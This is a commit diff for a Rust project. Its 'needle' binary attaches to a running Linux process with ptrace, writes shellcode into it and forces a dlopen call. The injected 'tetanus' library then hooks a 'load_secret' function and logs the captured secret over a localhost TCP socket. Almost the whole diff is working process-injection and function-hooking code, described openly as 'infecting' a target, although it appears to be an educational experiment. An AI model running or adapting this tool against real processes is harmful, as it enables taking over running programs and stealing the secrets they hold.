feat: sorted modules, added tracing + basic remote
initial implementation of remote tracing via tcp as seen in fasterthanlime, needs way more work to be reliable
This commit is contained in:
parent
fab29c5423
commit
ecae892afb
12 changed files with 246 additions and 127 deletions
|
@ -6,7 +6,7 @@ edition = "2021"
|
|||
[lib]
|
||||
name = "tetanus"
|
||||
crate-type = ["cdylib"]
|
||||
path = "src/lib.rs"
|
||||
path = "src/tetanus/lib.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "needle"
|
||||
|
@ -22,3 +22,5 @@ elf = "0.7.2"
|
|||
nix = "0.26.2"
|
||||
proc-maps = "0.3.0"
|
||||
libloading = "0.7.4"
|
||||
tracing = "0.1.37"
|
||||
tracing-subscriber = "0.3.16"
|
||||
|
|
111
src/lib.rs
111
src/lib.rs
|
@ -1,111 +0,0 @@
|
|||
use std::{error::Error, ffi::c_int, path::{Path, PathBuf}};
|
||||
|
||||
use elf::{ElfBytes, endian::AnyEndian, ParseError};
|
||||
use libloading::os::unix::{Library, Symbol};
|
||||
use proc_maps::get_process_maps;
|
||||
use retour::{static_detour, Function};
|
||||
|
||||
static_detour! {
|
||||
static HOOK : unsafe extern "C" fn() -> c_int;
|
||||
}
|
||||
|
||||
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
||||
fn constructor() {
|
||||
std::thread::spawn(|| {
|
||||
eprint!(" -[infected]- ");
|
||||
|
||||
if let Err(e) = add_hooks() {
|
||||
eprintln!("[!] Could not add hooks : {}", e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn add_hooks() -> Result<(), Box<dyn Error>> {
|
||||
let ptr = find_symbol("load_secret")?;
|
||||
|
||||
unsafe {
|
||||
HOOK.initialize(ptr, || {
|
||||
let secret = HOOK.call();
|
||||
eprint!(" ( ͡° ͜ʖ ͡°) its {} ", secret);
|
||||
secret
|
||||
})?;
|
||||
HOOK.enable()?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn find_symbol<T : Function>(name: &str) -> Result<T, Box<dyn Error>> {
|
||||
// try to find it among exported symbols
|
||||
let this = Library::this(); // TODO don't reopen it every time
|
||||
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
|
||||
if let Ok(s) = sym {
|
||||
return Ok(*s);
|
||||
}
|
||||
|
||||
// try to read it from executable's elf
|
||||
if let Some(exec) = find_argv0() {
|
||||
let (base, path) = map_addr_path(&exec)?;
|
||||
let offset = offset_in_elf(&path, &name)?;
|
||||
let addr : *const () = (base + offset) as *const ();
|
||||
return Ok(unsafe { Function::from_ptr(addr) } );
|
||||
}
|
||||
|
||||
Err(Box::new(not_found("could not find symbol in executable ELF, possibly stripped?")))
|
||||
}
|
||||
|
||||
fn offset_in_elf(path: &Path, symbol: &str) -> Result<usize, ParseError> {
|
||||
let exec_data = std::fs::read(path)?;
|
||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
|
||||
let common = headers.find_common_data()?;
|
||||
|
||||
// first try with hash table
|
||||
if let Some(hash_table) = common.sysv_hash {
|
||||
if let Some(dynsyms) = common.dynsyms {
|
||||
if let Some(strtab) = common.dynsyms_strs {
|
||||
if let Some((_id, sym)) = hash_table.find(symbol.as_bytes(), &dynsyms, &strtab)? {
|
||||
return Ok(sym.st_value as usize);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// fall back to iterating symbols table
|
||||
if let Some(symtab) = common.symtab {
|
||||
if let Some(strs) = common.symtab_strs {
|
||||
for sym in symtab {
|
||||
let name = strs.get(sym.st_name as usize)?;
|
||||
if name == symbol {
|
||||
return Ok(sym.st_value as usize);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(not_found("idk where to search :(").into())
|
||||
}
|
||||
|
||||
fn map_addr_path(name: &str) -> std::io::Result<(usize, PathBuf)> {
|
||||
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
||||
|
||||
for map in proc_maps {
|
||||
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
|
||||
if map.is_exec() {
|
||||
if let Some(path) = map.filename() {
|
||||
if path.ends_with(name) {
|
||||
return Ok((map.start() - map.offset, map.filename().unwrap().to_path_buf()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(not_found("no process is mapped from a path ending with given name"))
|
||||
}
|
||||
|
||||
fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
||||
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
||||
}
|
||||
|
||||
fn not_found(txt: &str) -> std::io::Error {
|
||||
std::io::Error::new(std::io::ErrorKind::NotFound, txt)
|
||||
}
|
|
@ -1,6 +1,7 @@
|
|||
use nix::{unistd::Pid, Result, libc::{PROT_READ, MAP_PRIVATE, MAP_ANON, PROT_EXEC}, sys::{ptrace, wait::waitpid}};
|
||||
use tracing::{debug, info};
|
||||
|
||||
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::{write_buffer, read_buffer, ByteVec}, injector::RemoteOperation};
|
||||
use crate::{syscalls::{RemoteMMap, RemoteMUnmap}, senders::write_buffer, injector::RemoteOperation};
|
||||
|
||||
pub struct RemoteShellcode<'a> {
|
||||
code: &'a [u8],
|
||||
|
@ -19,20 +20,18 @@ impl RemoteOperation for RemoteShellcode<'_> {
|
|||
let ptr = RemoteMMap::args(
|
||||
0, self.code.len() + 1, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_ANON, -1, 0
|
||||
).inject(pid, syscall)?;
|
||||
println!("Obtained area @ 0x{:X}", ptr);
|
||||
debug!("obtained area @ 0x{:X}", ptr);
|
||||
self.ptr = Some(ptr);
|
||||
let mut shellcode = self.code.to_vec();
|
||||
shellcode.push(0xCC); // is this the debugger trap?
|
||||
write_buffer(pid, ptr as usize, shellcode.as_slice())?;
|
||||
let shellcode = read_buffer(pid, ptr as usize, self.code.len() + 1)?;
|
||||
println!("Copied shellcode {}", ByteVec::from(shellcode));
|
||||
let mut regs = original_regs.clone();
|
||||
regs.rip = ptr;
|
||||
ptrace::setregs(pid, regs)?;
|
||||
ptrace::cont(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
let after_regs = ptrace::getregs(pid)?;
|
||||
println!("Executed shellcode (RIP: 0x{:X})", after_regs.rip);
|
||||
info!("executed shellcode (RIP: 0x{:X})", after_regs.rip);
|
||||
Ok(ptr)
|
||||
}
|
||||
|
||||
|
|
|
@ -14,7 +14,6 @@ pub fn step_to_syscall(pid: Pid) -> nix::Result<usize> {
|
|||
registers = ptrace::getregs(pid)?;
|
||||
addr = registers.rip as usize;
|
||||
instructions = ptrace::read(pid, addr as *mut c_void)?;
|
||||
// println!("@ 0x{:X} [{:x}]", insn_addr, curr_instr);
|
||||
|
||||
if instructions & 0xFFFF == 0x050F {
|
||||
return Ok(addr);
|
||||
|
@ -41,7 +40,6 @@ pub fn find_libc(pid: Pid) -> std::io::Result<(usize, PathBuf)> {
|
|||
let proc_maps = get_process_maps(pid.as_raw())?;
|
||||
|
||||
for map in proc_maps {
|
||||
// println!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, _path_to_str(map.filename()));
|
||||
if map.is_exec() && _path_to_str(map.filename()).contains("libc.so") {
|
||||
return Ok((
|
||||
map.start() - map.offset,
|
||||
|
|
|
@ -3,16 +3,19 @@ mod executors;
|
|||
mod senders;
|
||||
mod injector;
|
||||
mod explorers;
|
||||
mod monitor;
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
use injector::RemoteOperation;
|
||||
use monitor::monitor_payload;
|
||||
use nix::{Result, {sys::{ptrace, wait::waitpid}, unistd::Pid}};
|
||||
use clap::Parser;
|
||||
|
||||
use executors::RemoteShellcode;
|
||||
use senders::RemoteString;
|
||||
use explorers::step_to_syscall;
|
||||
use tracing::{metadata::LevelFilter, info, error};
|
||||
|
||||
use crate::{explorers::{find_libc, find_dlopen}, syscalls::RemoteExit};
|
||||
|
||||
|
@ -45,6 +48,10 @@ struct NeedleArgs {
|
|||
/// instead of injecting a library, execute an exit syscall with code 69
|
||||
#[arg(long, default_value_t = false)]
|
||||
kill: bool,
|
||||
|
||||
/// after injecting, keep alive listening for logs
|
||||
#[arg(long, default_value_t = false)]
|
||||
monitor: bool,
|
||||
}
|
||||
|
||||
fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
||||
|
@ -52,7 +59,7 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
|||
|
||||
ptrace::attach(pid)?;
|
||||
waitpid(pid, None)?;
|
||||
println!("Attached to process #{}", args.pid);
|
||||
info!("attached to process #{}", args.pid);
|
||||
|
||||
// continue running process step-by-step until we find a syscall
|
||||
let syscall = step_to_syscall(pid)?; // TODO no real need to step...
|
||||
|
@ -60,12 +67,12 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
|||
|
||||
if args.kill {
|
||||
RemoteExit::args(69).exit(pid, syscall)?;
|
||||
println!("Killed process #{}", args.pid);
|
||||
info!("killed process #{}", args.pid);
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// move path to our payload into target address space
|
||||
let tetanus = RemoteString::new(args.payload + "\0")
|
||||
let tetanus = RemoteString::new(args.payload.clone() + "\0")
|
||||
.inject(pid, syscall)?;
|
||||
|
||||
// find dlopen address
|
||||
|
@ -97,7 +104,6 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
|||
dlopen_addr = base + offset;
|
||||
}
|
||||
|
||||
println!("Attempting to invoke dlopen() @ 0x{:X}", dlopen_addr);
|
||||
|
||||
let shellcode = [ // doesn't really spawn a shell soooooo not really shellcode?
|
||||
0x55, // pusb rbp
|
||||
|
@ -120,21 +126,33 @@ fn nasty_stuff(args: NeedleArgs) -> Result<()> {
|
|||
ptrace::setregs(pid, regs)?;
|
||||
ptrace::cont(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
println!("Injected dlopen() call");
|
||||
info!("invoked dlopen('{}', 1) @ 0x{:X}", args.payload, dlopen_addr);
|
||||
|
||||
// restore original registers and detach
|
||||
// TODO clean allocated areas
|
||||
ptrace::setregs(pid, original_regs)?;
|
||||
ptrace::detach(pid, None)?;
|
||||
println!("Released process #{}", args.pid);
|
||||
info!("released process #{}", args.pid);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() {
|
||||
tracing_subscriber::fmt()
|
||||
.with_max_level(LevelFilter::INFO)
|
||||
.init();
|
||||
|
||||
let args = NeedleArgs::parse();
|
||||
|
||||
let monitor = args.monitor;
|
||||
|
||||
if let Err(e) = nasty_stuff(args) {
|
||||
eprintln!("Error while injecting : {} ({})", e, e.desc());
|
||||
error!("error injecting shared object: {} ({})", e, e.desc());
|
||||
return;
|
||||
}
|
||||
|
||||
if monitor {
|
||||
monitor_payload();
|
||||
}
|
||||
|
||||
}
|
||||
|
|
16
src/needle/monitor.rs
Normal file
16
src/needle/monitor.rs
Normal file
|
@ -0,0 +1,16 @@
|
|||
use std::net::TcpListener;
|
||||
|
||||
use tracing::info;
|
||||
|
||||
pub fn monitor_payload() {
|
||||
info!("listening for logs from injected payload ...");
|
||||
if let Ok(listener) = TcpListener::bind("127.0.0.1:13337") {
|
||||
if let Ok((mut stream, addr)) = listener.accept() {
|
||||
info!("incoming data ({})", addr);
|
||||
while let Ok(n) = std::io::copy(&mut stream, &mut std::io::stdout()) {
|
||||
if n <= 0 { break; }
|
||||
}
|
||||
info!("connection closed ({})", addr);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,6 +1,7 @@
|
|||
use std::{ffi::c_void, fmt::Display, mem::size_of};
|
||||
|
||||
use nix::{Result, unistd::Pid, sys::ptrace, libc::{PROT_READ, PROT_WRITE, MAP_PRIVATE, MAP_ANON}};
|
||||
use tracing::{debug, info};
|
||||
|
||||
use crate::{injector::RemoteOperation, syscalls::{RemoteMMap, RemoteMUnmap}};
|
||||
|
||||
|
@ -31,7 +32,7 @@ pub fn read_buffer(pid: Pid, addr: usize, size: usize) -> Result<Vec<u8>> {
|
|||
|
||||
for i in (0..size).step_by(WORD_SIZE) {
|
||||
let data = ptrace::read(pid, (addr + i) as *mut c_void)?;
|
||||
println!("read {} bytes from target : 0x{:x}", WORD_SIZE, data);
|
||||
debug!("read {} bytes: 0x{:x}", WORD_SIZE, data);
|
||||
for j in 0..WORD_SIZE {
|
||||
out.push(((data >> (j * 8)) & 0xFF) as u8);
|
||||
}
|
||||
|
@ -49,6 +50,7 @@ pub fn write_buffer(pid: Pid, addr: usize, payload: &[u8]) -> Result<()> {
|
|||
buf |= (*c as u64) << (i * 8);
|
||||
}
|
||||
unsafe { ptrace::write(pid, at as *mut c_void, buf as *mut c_void)?; }
|
||||
debug!("wrote {} bytes: 0x{:x}", WORD_SIZE, buf);
|
||||
at += WORD_SIZE;
|
||||
}
|
||||
|
||||
|
@ -73,6 +75,7 @@ impl RemoteOperation for RemoteString {
|
|||
).inject(pid, syscall)?;
|
||||
write_buffer(pid, ptr as usize, self.txt.as_bytes())?;
|
||||
self.ptr = Some(ptr as usize);
|
||||
info!("sent '{}'", self.txt);
|
||||
Ok(ptr)
|
||||
}
|
||||
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
use nix::{libc::user_regs_struct, Result, sys::{ptrace, wait::waitpid}, unistd::Pid};
|
||||
use tracing::debug;
|
||||
|
||||
use crate::{injector::RemoteOperation, senders::RemoteString};
|
||||
|
||||
|
@ -21,10 +22,12 @@ impl<T> RemoteOperation for T where T: RemoteSyscall {
|
|||
let mut regs = ptrace::getregs(pid)?;
|
||||
regs.rip = syscall as u64;
|
||||
self.registers(&mut regs);
|
||||
let syscall_nr = regs.rax;
|
||||
ptrace::setregs(pid, regs)?;
|
||||
ptrace::step(pid, None)?;
|
||||
waitpid(pid, None)?;
|
||||
regs = ptrace::getregs(pid)?;
|
||||
debug!(target: "remote-syscall", "executed syscall #{} -> {}", syscall_nr, regs.rax);
|
||||
Ok(regs.rax)
|
||||
}
|
||||
|
||||
|
|
34
src/tetanus/hooks.rs
Normal file
34
src/tetanus/hooks.rs
Normal file
|
@ -0,0 +1,34 @@
|
|||
use std::ffi::c_int;
|
||||
|
||||
use retour::static_detour;
|
||||
use tracing::info;
|
||||
|
||||
use crate::locators::find_symbol;
|
||||
|
||||
static_detour! {
|
||||
static HOOK : unsafe extern "C" fn() -> c_int;
|
||||
}
|
||||
|
||||
pub fn add_hooks() -> Result<(), Box<dyn std::error::Error>> {
|
||||
if let Some(ptr) = find_symbol("load_secret")? {
|
||||
unsafe {
|
||||
HOOK.initialize(ptr, cb::hook)?;
|
||||
HOOK.enable()?;
|
||||
}
|
||||
info!("installed hook on 'load_secret'");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
mod cb {
|
||||
use tracing::info;
|
||||
|
||||
use super::HOOK;
|
||||
|
||||
pub fn hook() -> i32 {
|
||||
let secret = unsafe { HOOK.call() };
|
||||
info!("( ͡° ͜ʖ ͡°) its {}", secret);
|
||||
secret
|
||||
}
|
||||
}
|
32
src/tetanus/lib.rs
Normal file
32
src/tetanus/lib.rs
Normal file
|
@ -0,0 +1,32 @@
|
|||
pub mod locators;
|
||||
pub mod hooks;
|
||||
pub mod tricks;
|
||||
|
||||
use std::{net::TcpStream, sync::Mutex};
|
||||
|
||||
use tracing::{info, error};
|
||||
|
||||
use crate::hooks::add_hooks;
|
||||
|
||||
|
||||
#[ctor::ctor] // our entrypoint is the library constructor, invoked by dlopen
|
||||
fn constructor() {
|
||||
std::thread::spawn(|| {
|
||||
match TcpStream::connect("127.0.0.1:13337") {
|
||||
Ok(stream) => tracing_subscriber::fmt()
|
||||
.with_writer(Mutex::new(stream))
|
||||
.init(),
|
||||
Err(_) => {},
|
||||
}
|
||||
|
||||
info!(target: "tetanus", "infected target");
|
||||
|
||||
if let Err(e) = add_hooks() {
|
||||
error!(target: "tetanus", "could not add hooks : {}", e);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[ctor::dtor]
|
||||
fn destructor() {}
|
||||
|
110
src/tetanus/locators.rs
Normal file
110
src/tetanus/locators.rs
Normal file
|
@ -0,0 +1,110 @@
|
|||
use std::error::Error;
|
||||
|
||||
use libloading::os::unix::{Library, Symbol};
|
||||
use retour::Function;
|
||||
|
||||
use tracing::warn;
|
||||
|
||||
use crate::tricks::find_argv0;
|
||||
|
||||
|
||||
pub fn find_symbol<T : Function>(name: &str) -> Result<Option<T>, Box<dyn Error>> {
|
||||
// try to find it among exported symbols
|
||||
let this = Library::this(); // TODO don't reopen it every time
|
||||
let sym : Result<Symbol<T>, libloading::Error> = unsafe { this.get(name.as_bytes()) };
|
||||
if let Ok(s) = sym {
|
||||
return Ok(Some(*s));
|
||||
}
|
||||
|
||||
// try to read it from executable's elf
|
||||
match find_argv0() {
|
||||
None => warn!("could not find argv0 for process"),
|
||||
Some(exec) => match procmaps::map_addr_path(&exec)? {
|
||||
None => warn!("could not find base addr of process image"),
|
||||
Some((base, path)) => match exec::offset_in_elf(&path, &name)? {
|
||||
None => warn!("could not locate requested symbol in ELF"),
|
||||
Some(offset) => {
|
||||
let addr : *const () = (base + offset) as *const ();
|
||||
return Ok(Some(unsafe { Function::from_ptr(addr) } ));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
|
||||
|
||||
pub mod exec {
|
||||
use std::path::Path;
|
||||
|
||||
use elf::{ParseError, ElfBytes, endian::AnyEndian};
|
||||
use tracing::{warn, debug};
|
||||
|
||||
pub fn offset_in_elf(path: &Path, symbol: &str) -> Result<Option<usize>, ParseError> {
|
||||
let exec_data = std::fs::read(path)?;
|
||||
let headers = ElfBytes::<AnyEndian>::minimal_parse(&exec_data)?;
|
||||
let common = headers.find_common_data()?;
|
||||
|
||||
// first try with hash table
|
||||
match common.sysv_hash {
|
||||
None => warn!("missing symbols hash table in ELF"),
|
||||
Some(sysv_hash) => match common.dynsyms {
|
||||
None => warn!("missing dynamic symbols in ELF"),
|
||||
Some(dynsyms) => match common.dynsyms_strs {
|
||||
None => warn!("missing string tab for dynamic symbols in ELF"),
|
||||
Some(dynsyms_strs) => match sysv_hash.find(symbol.as_bytes(), &dynsyms, &dynsyms_strs)? {
|
||||
None => debug!("could not find symbol {} in ELF hashmap", symbol),
|
||||
Some((_id, sym)) => return Ok(Some(sym.st_value as usize)),
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// fall back to iterating symbols table
|
||||
match common.symtab {
|
||||
None => warn!("missing symbols table in ELF"),
|
||||
Some(symtab) => match common.symtab_strs {
|
||||
None => warn!("missing names for symbols in ELF"),
|
||||
Some(symtab_strs) => {
|
||||
for sym in symtab {
|
||||
let name = symtab_strs.get(sym.st_name as usize)?;
|
||||
if name == symbol {
|
||||
return Ok(Some(sym.st_value as usize));
|
||||
}
|
||||
}
|
||||
debug!("no symbol matched '{}'", symbol);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
}
|
||||
|
||||
pub mod procmaps {
|
||||
use std::path::PathBuf;
|
||||
|
||||
use proc_maps::get_process_maps;
|
||||
use tracing::{debug, warn};
|
||||
|
||||
use crate::tricks::fmt_path;
|
||||
|
||||
pub fn map_addr_path(name: &str) -> std::io::Result<Option<(usize, PathBuf)>> {
|
||||
let proc_maps = get_process_maps(std::process::id() as i32)?;
|
||||
|
||||
for map in proc_maps {
|
||||
debug!("map > 0x{:08X} {} [{:x}] - {} [{}]", map.start(), map.flags, map.offset, map.inode, fmt_path(map.filename()));
|
||||
if map.is_exec() {
|
||||
if let Some(path) = map.filename() {
|
||||
if path.ends_with(name) {
|
||||
return Ok(Some((map.start() - map.offset, map.filename().unwrap().to_path_buf())));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
warn!("could not find address of '{}'", name);
|
||||
|
||||
Ok(None)
|
||||
}
|
||||
}
|
15
src/tetanus/tricks.rs
Normal file
15
src/tetanus/tricks.rs
Normal file
|
@ -0,0 +1,15 @@
|
|||
pub fn find_argv0() -> Option<String> { // could be a relative path, just get last member
|
||||
Some(std::env::args().next()?.split("/").last()?.into()) // TODO separator for windows?
|
||||
}
|
||||
|
||||
pub fn fmt_path(p: Option<&std::path::Path>) -> String {
|
||||
match p {
|
||||
Some(path) => {
|
||||
match path.to_str() {
|
||||
Some(s) => s.into(),
|
||||
None => "?".into(),
|
||||
}
|
||||
},
|
||||
None => "".into(),
|
||||
}
|
||||
}
|
Loading…
Reference in a new issue